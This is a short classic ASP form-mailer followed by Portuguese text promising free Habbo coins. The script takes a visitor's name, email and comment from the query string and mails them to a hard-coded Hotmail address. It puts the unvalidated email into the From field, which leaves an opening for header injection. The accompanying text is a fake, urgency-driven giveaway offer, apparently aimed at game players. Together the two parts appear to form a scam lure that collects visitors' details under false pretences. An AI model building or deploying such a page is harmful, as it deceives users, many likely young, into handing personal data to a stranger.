<%
Option Explicit
Dim var_nome, var_mail, var_comentario, var_to, EnviarMail, MsgBody
var_nome = Request.QueryString("txtnome")
var_mail = Request.QueryString("txtemail")
var_comentario = Request.QueryString("txtcomentario")
var_to = "batarau15@hotmail.com"
Set EnviarMail = Server.CreateObject("CDONTS.NewMail")
EnviarMail.To = var_to
EnviarMail.From = var_mail
EnviarMail.Subject = "Meu Site - Contatos"
MsgBody = "" _
& "" _
& "" _
& "" _
& "Você recebeu uma mensagem de " & var_nome & ", email " & var_mail & " e fez o seguinte comentário:
" & var_comentario & "
" _
& "" _
& ""
EnviarMail.Body = MsgBody
EnviarMail.Importance = 1
EnviarMail.BodyFormat = 0
EnviarMail.MailFormat = 0
EnviarMail.Send
Set EnviarMail = Nothing
Response.redirect "Obrigado.html"
%>
Moedas 100% gratuitas!
É para não parar mais, o Habbo liberou 500 moedas para você estorar avontade aproveitem que as moedas so serão validas esta semana....
APROVEITEM PORQUE A META DAS MOEDAS (250) JA FORAM DOADAS PARA JOGADORES HABBO...
Em caso de duvidas entre em contato com a nossa empresa!
*Obrigado
